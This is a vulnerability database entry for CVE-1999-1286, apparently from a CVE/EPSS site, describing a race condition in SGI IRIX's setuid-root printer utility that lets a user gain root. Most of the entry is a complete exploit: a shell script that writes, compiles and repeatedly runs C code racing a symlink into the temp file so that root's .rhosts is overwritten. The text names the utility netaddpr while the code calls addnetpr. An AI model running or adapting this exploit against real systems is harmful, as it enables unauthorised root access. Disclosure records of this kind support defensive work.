CVE-1999-1286 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/330/info SGI's IRIX 5.x and 6.x operating system include a utility called /usr/lib/netaddpr. This program can be used by privledged users to add network printing devices to the system. A race condition exists in this program that could allow any "privledged" user to obtain root access. The netaddpr program is shipped setuid root. As part of its execution, it creates a file in /var/tmp with the file template printersXXXXXX. Because the creation of the file and the actual opening of the file are independant events, there exists a window, during which time an attacker can replace the file with a symbolic link. By making this link point to, for instance, /.rhosts, an attacker can elevate their privledges to that of root. #!/bin/sh PROG="`basename $0`" if [ $# -ne 1 ]; then echo "Usage: $PROG <target>" exit 1 fi cat > expnetpr.c << _CREDIT_TO_ZOMO_ void main(int argc, char *argv[]) { char *template = "/var/tmp/printersXXXXXX"; char *target; int pid; target = (char *)mktemp(template); if ((pid = fork()) > 0) { sleep(3); umask(0); execl("/usr/lib/addnetpr", "addnetpr", "localhost","+", 0); } else while(1) { symlink(argv[1], target); unlink(target); } } _CREDIT_TO_ZOMO_ /bin/cc expnetpr.c -o expnetpr if [ ! -f expnetpr ]; then echo "Couldn't compile expnetpr.c, lame! \nMake sure that C compiler has been installed from the IDO" exit 1 fi while(`true`) do ./expnetpr $1& PID=$! sleep 15 ls -al $1 killall expnetpr killall addnetpr done